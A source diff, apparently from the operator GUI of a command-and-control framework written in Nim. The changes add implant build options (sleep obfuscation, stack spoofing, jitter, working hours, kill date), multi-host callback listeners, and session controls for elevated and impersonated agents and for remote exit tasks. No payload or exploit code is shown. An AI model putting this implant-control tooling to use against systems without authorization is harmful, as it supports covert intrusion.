if igButton((if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours").cstring, vec2(-1.0f, 0.0f)):
|
||||||
|
igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32)
|
||||||
|
igEndDisabled()
|
||||||
|
|
||||||
|
let workingHours = component.workingHoursModal.draw()
|
||||||
|
if workingHours.enabled:
|
||||||
|
component.workingHours = workingHours
|
||||||
|
|
||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
igSeparator()
|
igSeparator()
|
||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
@@ -142,32 +202,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
igText("Build log: ")
|
igText("Build log: ")
|
||||||
try:
|
let buildLogHeight = igGetTextLineHeightWithSpacing() * 7.0f + igGetStyle().ItemSpacing.y
|
||||||
# Set styles of the eventlog window
|
component.buildLog.draw(vec2(-1.0f, buildLogHeight))
|
||||||
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
|
||||||
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
|
||||||
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
|
|
||||||
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
|
|
||||||
|
|
||||||
let buildLogHeight = 250.0f
|
|
||||||
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
|
|
||||||
if igBeginChild_Str("##Log", vec2(-1.0f, buildLogHeight), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
|
|
||||||
# Display eventlog items
|
|
||||||
for item in component.buildLog.items:
|
|
||||||
component.print(item)
|
|
||||||
|
|
||||||
# Auto-scroll to bottom
|
|
||||||
if igGetScrollY() >= igGetScrollMaxY():
|
|
||||||
igSetScrollHereY(1.0f)
|
|
||||||
|
|
||||||
except IndexDefect:
|
|
||||||
# CTRL+A crashes when no items are in the eventlog
|
|
||||||
discard
|
|
||||||
|
|
||||||
finally:
|
|
||||||
igPopStyleColor(3)
|
|
||||||
igPopStyleVar(1)
|
|
||||||
igEndChild()
|
|
||||||
|
|
||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
igSeparator()
|
igSeparator()
|
||||||
@@ -178,6 +214,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
|
|
||||||
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
|
||||||
|
component.buildLog.clear()
|
||||||
|
|
||||||
# Iterate over modules
|
# Iterate over modules
|
||||||
var modules: uint32 = 0
|
var modules: uint32 = 0
|
||||||
for m in component.moduleSelection.items[1]:
|
for m in component.moduleSelection.items[1]:
|
||||||
@@ -185,9 +223,15 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
|
|
||||||
result = AgentBuildInformation(
|
result = AgentBuildInformation(
|
||||||
listenerId: listeners[component.listener].listenerId,
|
listenerId: listeners[component.listener].listenerId,
|
||||||
sleepDelay: component.sleepDelay,
|
sleepSettings: SleepSettings(
|
||||||
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
sleepDelay: component.sleepDelay,
|
||||||
spoofStack: component.spoofStack,
|
jitter: cast[uint32](component.jitter),
|
||||||
|
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
||||||
|
spoofStack: component.spoofStack,
|
||||||
|
workingHours: if component.workingHoursEnabled: component.workingHours else: WorkingHours(enabled: false, startHour: 0, startMinute: 0, endHour: 0, endMinute: 0)
|
||||||
|
),
|
||||||
|
verbose: component.verbose,
|
||||||
|
killDate: if component.killDateEnabled: component.killDate else: 0,
|
||||||
modules: modules
|
modules: modules
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import strutils
|
import strutils
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl]
|
||||||
import ../../utils/appImGui
|
import ../../utils/appImGui
|
||||||
import ../../../common/[types, utils]
|
import ../../../common/[types, utils]
|
||||||
|
|
||||||
@@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16
|
|||||||
|
|
||||||
type
|
type
|
||||||
ListenerModalComponent* = ref object of RootObj
|
ListenerModalComponent* = ref object of RootObj
|
||||||
address: array[256, char]
|
callbackHosts: array[256 * 32, char]
|
||||||
port: uint16
|
bindAddress: array[256, char]
|
||||||
|
bindPort: uint16
|
||||||
protocol: int32
|
protocol: int32
|
||||||
protocols: seq[string]
|
protocols: seq[string]
|
||||||
|
|
||||||
proc ListenerModal*(): ListenerModalComponent =
|
proc ListenerModal*(): ListenerModalComponent =
|
||||||
result = new ListenerModalComponent
|
result = new ListenerModalComponent
|
||||||
zeroMem(addr result.address[0], 256)
|
zeroMem(addr result.callbackHosts[0], 256 * 32)
|
||||||
result.port = DEFAULT_PORT
|
zeroMem(addr result.bindAddress[0], 256)
|
||||||
|
result.bindPort = DEFAULT_PORT
|
||||||
result.protocol = 0
|
result.protocol = 0
|
||||||
for p in Protocol.low .. Protocol.high:
|
for p in Protocol.low .. Protocol.high:
|
||||||
result.protocols.add($p)
|
result.protocols.add($p)
|
||||||
|
|
||||||
proc resetModalValues(component: ListenerModalComponent) =
|
proc resetModalValues(component: ListenerModalComponent) =
|
||||||
zeroMem(addr component.address[0], 256)
|
zeroMem(addr component.callbackHosts[0], 256 * 32)
|
||||||
component.port = DEFAULT_PORT
|
zeroMem(addr component.bindAddress[0], 256)
|
||||||
|
component.bindPort = DEFAULT_PORT
|
||||||
component.protocol = 0
|
component.protocol = 0
|
||||||
|
|
||||||
proc draw*(component: ListenerModalComponent): UIListener =
|
proc draw*(component: ListenerModalComponent): UIListener =
|
||||||
@@ -43,28 +46,41 @@ proc draw*(component: ListenerModalComponent): UIListener =
|
|||||||
defer: igEndPopup()
|
defer: igEndPopup()
|
||||||
|
|
||||||
var availableSize: ImVec2
|
var availableSize: ImVec2
|
||||||
igGetContentRegionAvail(addr availableSize)
|
|
||||||
|
|
||||||
# Listener address
|
# Listener protocol/type dropdown selection
|
||||||
igText("Host: ")
|
igText("Protocol: ")
|
||||||
igSameLine(0.0f, textSpacing)
|
igSameLine(0.0f, textSpacing)
|
||||||
igGetContentRegionAvail(addr availableSize)
|
igGetContentRegionAvail(addr availableSize)
|
||||||
igSetNextItemWidth(availableSize.x)
|
igSetNextItemWidth(availableSize.x)
|
||||||
igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
|
|
||||||
|
|
||||||
# Listener port
|
|
||||||
let step: uint16 = 1
|
|
||||||
igText("Port: ")
|
|
||||||
igSameLine(0.0f, textSpacing)
|
|
||||||
igSetNextItemWidth(availableSize.x)
|
|
||||||
igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
|
||||||
|
|
||||||
# Listener protocol dropdown selection
|
|
||||||
igText("Protocol: ")
|
|
||||||
igSameLine(0.0f, textSpacing)
|
|
||||||
igSetNextItemWidth(availableSize.x)
|
|
||||||
igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32)
|
igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32)
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
# HTTP Listener settings
|
||||||
|
if component.protocols[component.protocol] == $HTTP:
|
||||||
|
# Listener bindAddress
|
||||||
|
igText("Host (Bind): ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
igInputTextWithHint("##InputAddressBind", "0.0.0.0", cast[cstring](addr component.bindAddress[0]), 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
|
||||||
|
|
||||||
|
# Listener bindPort
|
||||||
|
let step: uint16 = 1
|
||||||
|
igText("Port (Bind): ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
||||||
|
|
||||||
|
# Callback hosts
|
||||||
|
igText("Hosts (Callback): ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
igInputTextMultiline("##InputCallbackHosts", cast[cstring](addr component.callbackHosts[0]), 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
|
||||||
|
|
||||||
igGetContentRegionAvail(addr availableSize)
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
@@ -72,13 +88,43 @@ proc draw*(component: ListenerModalComponent): UIListener =
|
|||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
# Only enabled the start button when valid values have been entered
|
# Only enabled the start button when valid values have been entered
|
||||||
igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0))
|
igBeginDisabled(($cast[cstring]((addr component.bindAddress[0])) == "") or (component.bindPort <= 0))
|
||||||
|
|
||||||
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
|
||||||
|
# Process input values
|
||||||
|
var hosts: string = ""
|
||||||
|
let
|
||||||
|
callbackHosts = $cast[cstring]((addr component.callbackHosts[0]))
|
||||||
|
bindAddress = $cast[cstring]((addr component.bindAddress[0]))
|
||||||
|
bindPort = int(component.bindPort)
|
||||||
|
|
||||||
|
if callbackHosts.isEmptyOrWhitespace():
|
||||||
|
hosts &= bindAddress & ":" & $bindPort
|
||||||
|
|
||||||
|
else:
|
||||||
|
for host in callbackHosts.splitLines():
|
||||||
|
if host.isEmptyOrWhitespace():
|
||||||
|
continue
|
||||||
|
|
||||||
|
hosts &= ";"
|
||||||
|
let hostParts = host.split(":")
|
||||||
|
if hostParts.len() == 2:
|
||||||
|
if not hostParts[1].isEmptyOrWhitespace():
|
||||||
|
hosts &= hostParts[0] & ":" & hostParts[1]
|
||||||
|
else:
|
||||||
|
hosts &= hostParts[0] & ":" & $bindPort
|
||||||
|
elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace():
|
||||||
|
hosts &= hostParts[0] & ":" & $bindPort
|
||||||
|
|
||||||
|
hosts.removePrefix(";")
|
||||||
|
|
||||||
|
# Return new listener object
|
||||||
result = UIListener(
|
result = UIListener(
|
||||||
listenerId: generateUUID(),
|
listenerId: generateUUID(),
|
||||||
address: $(addr component.address[0]),
|
hosts: hosts,
|
||||||
port: int(component.port),
|
address: bindAddress,
|
||||||
|
port: bindPort,
|
||||||
protocol: cast[Protocol](component.protocol)
|
protocol: cast[Protocol](component.protocol)
|
||||||
)
|
)
|
||||||
component.resetModalValues()
|
component.resetModalValues()
|
||||||
|
|||||||
@@ -2,14 +2,17 @@ import times, tables, strformat, strutils, algorithm
|
|||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
|
|
||||||
import ./console
|
import ./console
|
||||||
|
import ../core/[task, websocket]
|
||||||
import ../utils/[appImGui, colors]
|
import ../utils/[appImGui, colors]
|
||||||
import ../../common/[types, utils]
|
import ../../modules/manager
|
||||||
|
import ../../common/types
|
||||||
|
|
||||||
type
|
type
|
||||||
SessionsTableComponent* = ref object of RootObj
|
SessionsTableComponent* = ref object of RootObj
|
||||||
title: string
|
title: string
|
||||||
agents*: seq[UIAgent]
|
agents*: seq[UIAgent]
|
||||||
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
|
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
|
||||||
|
agentImpersonation*: Table[string, string]
|
||||||
selection: ptr ImGuiSelectionBasicStorage
|
selection: ptr ImGuiSelectionBasicStorage
|
||||||
consoles: ptr Table[string, ConsoleComponent]
|
consoles: ptr Table[string, ConsoleComponent]
|
||||||
|
|
||||||
@@ -38,12 +41,14 @@ proc interact(component: SessionsTableComponent) =
|
|||||||
|
|
||||||
# Focus the existing console window
|
# Focus the existing console window
|
||||||
else:
|
else:
|
||||||
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}")
|
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
|
||||||
|
|
||||||
component.selection.ImGuiSelectionBasicStorage_Clear()
|
component.selection.ImGuiSelectionBasicStorage_Clear()
|
||||||
|
|
||||||
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) =
|
||||||
igBegin(component.title, showComponent, 0)
|
igBegin(component.title.cstring, showComponent, 0)
|
||||||
|
|
||||||
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
|
|
||||||
let tableFlags = (
|
let tableFlags = (
|
||||||
ImGuiTableFlags_Resizable.int32 or
|
ImGuiTableFlags_Resizable.int32 or
|
||||||
@@ -64,8 +69,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
|
|
||||||
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("IP (Internal)", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
@@ -84,47 +89,58 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
# Sort sessions table based on first checkin
|
# Sort sessions table based on first checkin
|
||||||
component.agents.sort(cmp)
|
component.agents.sort(cmp)
|
||||||
for row, agent in component.agents:
|
for row, agent in component.agents:
|
||||||
|
|
||||||
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
|
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
|
||||||
|
|
||||||
if igTableSetColumnIndex(0):
|
if igTableSetColumnIndex(0):
|
||||||
# Enable multi-select functionality
|
# Enable multi-select functionality
|
||||||
igSetNextItemSelectionUserData(row)
|
igSetNextItemSelectionUserData(row)
|
||||||
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](row))
|
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](row))
|
||||||
discard igSelectable_Bool(agent.agentId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
|
|
||||||
|
|
||||||
|
# Highlight high integrity sessions in red
|
||||||
|
if agent.elevated:
|
||||||
|
igPushStyleColor_Vec4(ImGui_Col_Text.cint, CONSOLE_ERROR)
|
||||||
|
|
||||||
|
discard igSelectable_Bool(agent.agentId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
|
||||||
|
|
||||||
|
if agent.elevated:
|
||||||
|
igPopStyleColor(1)
|
||||||
|
|
||||||
# Interact with session on double-click
|
# Interact with session on double-click
|
||||||
if igIsMouseDoubleClicked_Nil(ImGui_MouseButton_Left.int32):
|
if igIsMouseDoubleClicked_Nil(ImGui_MouseButton_Left.int32):
|
||||||
component.interact()
|
component.interact()
|
||||||
|
|
||||||
if igTableSetColumnIndex(1):
|
if igTableSetColumnIndex(1):
|
||||||
igText(agent.listenerId)
|
igText(agent.listenerId.cstring)
|
||||||
if igTableSetColumnIndex(2):
|
if igTableSetColumnIndex(2):
|
||||||
igText(agent.ipInternal)
|
igText(agent.ipInternal.cstring)
|
||||||
if igTableSetColumnIndex(3):
|
if igTableSetColumnIndex(3):
|
||||||
igText(agent.ipExternal)
|
igText(agent.ipExternal.cstring)
|
||||||
if igTableSetColumnIndex(4):
|
if igTableSetColumnIndex(4):
|
||||||
igText(agent.username)
|
|
||||||
|
igText(agent.username.cstring)
|
||||||
|
if component.agentImpersonation.hasKey(agent.agentId):
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igText(fmt"[{component.agentImpersonation[agent.agentId]}]".cstring)
|
||||||
|
|
||||||
if igTableSetColumnIndex(5):
|
if igTableSetColumnIndex(5):
|
||||||
igText(agent.hostname)
|
igText(agent.hostname.cstring)
|
||||||
if igTableSetColumnIndex(6):
|
if igTableSetColumnIndex(6):
|
||||||
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
igText(agent.domain.cstring)
|
||||||
if igTableSetColumnIndex(7):
|
if igTableSetColumnIndex(7):
|
||||||
igText(agent.os)
|
igText(agent.os.cstring)
|
||||||
if igTableSetColumnIndex(8):
|
if igTableSetColumnIndex(8):
|
||||||
igText(agent.process)
|
igText(agent.process.cstring)
|
||||||
if igTableSetColumnIndex(9):
|
if igTableSetColumnIndex(9):
|
||||||
igText($agent.pid)
|
igText(($agent.pid).cstring)
|
||||||
if igTableSetColumnIndex(10):
|
if igTableSetColumnIndex(10):
|
||||||
let duration = now() - agent.firstCheckin.fromUnix().local()
|
let duration = now() - agent.firstCheckin.fromUnix().local()
|
||||||
let totalSeconds = duration.inSeconds
|
let totalSeconds = duration.inSeconds
|
||||||
|
|
||||||
let hours = totalSeconds div 3600
|
let hours = totalSeconds div 3600
|
||||||
let minutes = (totalSeconds mod 3600) div 60
|
let minutes = (totalSeconds mod 3600) div 60
|
||||||
let seconds = totalSeconds mod 60
|
let seconds = totalSeconds mod 60
|
||||||
|
|
||||||
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago".cstring)
|
||||||
igText(fmt"{timeText} ago")
|
|
||||||
|
|
||||||
if igTableSetColumnIndex(11):
|
if igTableSetColumnIndex(11):
|
||||||
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
||||||
@@ -134,12 +150,11 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
let minutes = (totalSeconds mod 3600) div 60
|
let minutes = (totalSeconds mod 3600) div 60
|
||||||
let seconds = totalSeconds mod 60
|
let seconds = totalSeconds mod 60
|
||||||
|
|
||||||
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
let timeText = fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago"
|
||||||
|
|
||||||
if totalSeconds > agent.sleep:
|
if totalSeconds > agent.sleep:
|
||||||
igTextColored(GRAY, fmt"{timeText} ago")
|
igTextColored(GRAY, timeText.cstring)
|
||||||
else:
|
else:
|
||||||
igText(fmt"{timeText} ago")
|
igText(timeText.cstring)
|
||||||
|
|
||||||
# Handle right-click context menu
|
# Handle right-click context menu
|
||||||
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected
|
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected
|
||||||
@@ -149,12 +164,44 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
component.interact()
|
component.interact()
|
||||||
igCloseCurrentPopup()
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
if igBeginMenu("Exit", true):
|
||||||
|
if igMenuItem("Process", nil, false, true):
|
||||||
|
for i, agent in component.agents:
|
||||||
|
if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
|
||||||
|
if component.consoles[].hasKey(agent.agentId):
|
||||||
|
component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process")
|
||||||
|
else:
|
||||||
|
let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"])
|
||||||
|
connection.sendAgentTask(agent.agentId, "exit process", task)
|
||||||
|
|
||||||
|
ImGuiSelectionBasicStorage_Clear(component.selection)
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
if igMenuItem("Thread", nil, false, true):
|
||||||
|
for i, agent in component.agents:
|
||||||
|
if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
|
||||||
|
if component.consoles[].hasKey(agent.agentId):
|
||||||
|
component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread")
|
||||||
|
else:
|
||||||
|
let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"])
|
||||||
|
connection.sendAgentTask(agent.agentId, "exit thread", task)
|
||||||
|
|
||||||
|
ImGuiSelectionBasicStorage_Clear(component.selection)
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igEndMenu()
|
||||||
|
|
||||||
|
igSeparator()
|
||||||
|
|
||||||
if igMenuItem("Remove", nil, false, true):
|
if igMenuItem("Remove", nil, false, true):
|
||||||
# Update agents table with only non-selected ones
|
# Update agents table with only non-selected ones
|
||||||
var newAgents: seq[UIAgent] = @[]
|
var newAgents: seq[UIAgent] = @[]
|
||||||
for i, agent in component.agents:
|
for i, agent in component.agents:
|
||||||
if not ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
|
if not ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
|
||||||
newAgents.add(agent)
|
newAgents.add(agent)
|
||||||
|
else:
|
||||||
|
# Send message to team server to remove delete the agent from the database and stop it from re-appearing when the client is restarted
|
||||||
|
connection.sendAgentRemove(agent.agentId)
|
||||||
|
|
||||||
component.agents = newAgents
|
component.agents = newAgents
|
||||||
ImGuiSelectionBasicStorage_Clear(component.selection)
|
ImGuiSelectionBasicStorage_Clear(component.selection)
|
||||||
|
|||||||
@@ -1,10 +1,9 @@
|
|||||||
import strutils, sequtils, algorithm
|
import sequtils, algorithm
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl]
|
||||||
import ../../utils/[appImGui, colors, utils]
|
import ../../utils/[appImGui, colors]
|
||||||
import ../../../common/[types, utils]
|
|
||||||
|
|
||||||
type
|
type
|
||||||
DualListSelectionComponent*[T] = ref object of RootObj
|
DualListSelectionWidget*[T] = ref object of RootObj
|
||||||
items*: array[2, seq[T]]
|
items*: array[2, seq[T]]
|
||||||
selection: array[2, ptr ImGuiSelectionBasicStorage]
|
selection: array[2, ptr ImGuiSelectionBasicStorage]
|
||||||
display: proc(item: T): string
|
display: proc(item: T): string
|
||||||
@@ -14,8 +13,8 @@ type
|
|||||||
proc defaultDisplay[T](item: T): string =
|
proc defaultDisplay[T](item: T): string =
|
||||||
return $item
|
return $item
|
||||||
|
|
||||||
proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defaultDisplay, compare: proc(x, y: T): int, tooltip: proc(item: T): string = nil): DualListSelectionComponent[T] =
|
proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defaultDisplay, compare: proc(x, y: T): int, tooltip: proc(item: T): string = nil): DualListSelectionWidget[T] =
|
||||||
result = new DualListSelectionComponent[T]
|
result = new DualListSelectionWidget[T]
|
||||||
result.items[0] = items
|
result.items[0] = items
|
||||||
result.items[1] = @[]
|
result.items[1] = @[]
|
||||||
result.selection[0] = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
|
result.selection[0] = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
|
||||||
@@ -24,7 +23,7 @@ proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defau
|
|||||||
result.compare = compare
|
result.compare = compare
|
||||||
result.tooltip = tooltip
|
result.tooltip = tooltip
|
||||||
|
|
||||||
proc moveAll[T](component: DualListSelectionComponent[T], src, dst: int) =
|
proc moveAll[T](component: DualListSelectionWidget[T], src, dst: int) =
|
||||||
for m in component.items[src]:
|
for m in component.items[src]:
|
||||||
component.items[dst].add(m)
|
component.items[dst].add(m)
|
||||||
component.items[dst].sort(component.compare)
|
component.items[dst].sort(component.compare)
|
||||||
@@ -33,7 +32,7 @@ proc moveAll[T](component: DualListSelectionComponent[T], src, dst: int) =
|
|||||||
ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst])
|
ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst])
|
||||||
ImGuiSelectionBasicStorage_Clear(component.selection[src])
|
ImGuiSelectionBasicStorage_Clear(component.selection[src])
|
||||||
|
|
||||||
proc moveSelection[T](component: DualListSelectionComponent[T], src, dst: int) =
|
proc moveSelection[T](component: DualListSelectionWidget[T], src, dst: int) =
|
||||||
var keep: seq[T]
|
var keep: seq[T]
|
||||||
for i in 0 ..< component.items[src].len():
|
for i in 0 ..< component.items[src].len():
|
||||||
let item = component.items[src][i]
|
let item = component.items[src][i]
|
||||||
@@ -47,10 +46,10 @@ proc moveSelection[T](component: DualListSelectionComponent[T], src, dst: int) =
|
|||||||
ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst])
|
ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst])
|
||||||
ImGuiSelectionBasicStorage_Clear(component.selection[src])
|
ImGuiSelectionBasicStorage_Clear(component.selection[src])
|
||||||
|
|
||||||
proc reset*[T](component: DualListSelectionComponent[T]) =
|
proc reset*[T](component: DualListSelectionWidget[T]) =
|
||||||
component.moveAll(1, 0)
|
component.moveAll(1, 0)
|
||||||
|
|
||||||
proc draw*[T](component: DualListSelectionComponent[T]) =
|
proc draw*[T](component: DualListSelectionWidget[T]) =
|
||||||
|
|
||||||
if igBeginTable("split", 3, ImGuiTableFlags_None.int32, vec2(0.0f, 0.0f), 0.0f):
|
if igBeginTable("split", 3, ImGuiTableFlags_None.int32, vec2(0.0f, 0.0f), 0.0f):
|
||||||
|
|
||||||
@@ -70,9 +69,9 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
|
|||||||
# Header
|
# Header
|
||||||
var text = "Available"
|
var text = "Available"
|
||||||
var textSize: ImVec2
|
var textSize: ImVec2
|
||||||
igCalcTextSize(addr textSize, text, nil, false, 0.0f)
|
igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f)
|
||||||
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(0) - textSize.x) * 0.5f)
|
igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(0) - textSize.x) * 0.5f)
|
||||||
igTextColored(GRAY, text)
|
igTextColored(GRAY, text.cstring)
|
||||||
|
|
||||||
# Set the size of selection box to fit all modules
|
# Set the size of selection box to fit all modules
|
||||||
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
|
igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing()))
|
||||||
@@ -86,7 +85,7 @@ proc draw*[T](component: DualListSelectionComponent[T]) =
|
|||||||
for row in 0 ..< modules.len().int32:
|
for row in 0 ..< modules.len().int32:
|
||||||
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
|
var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row))
|
||||||
igSetNextItemSelectionUserData(row)
|
igSetNextItemSelectionUserData(row)
|
||||||
discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f))
|
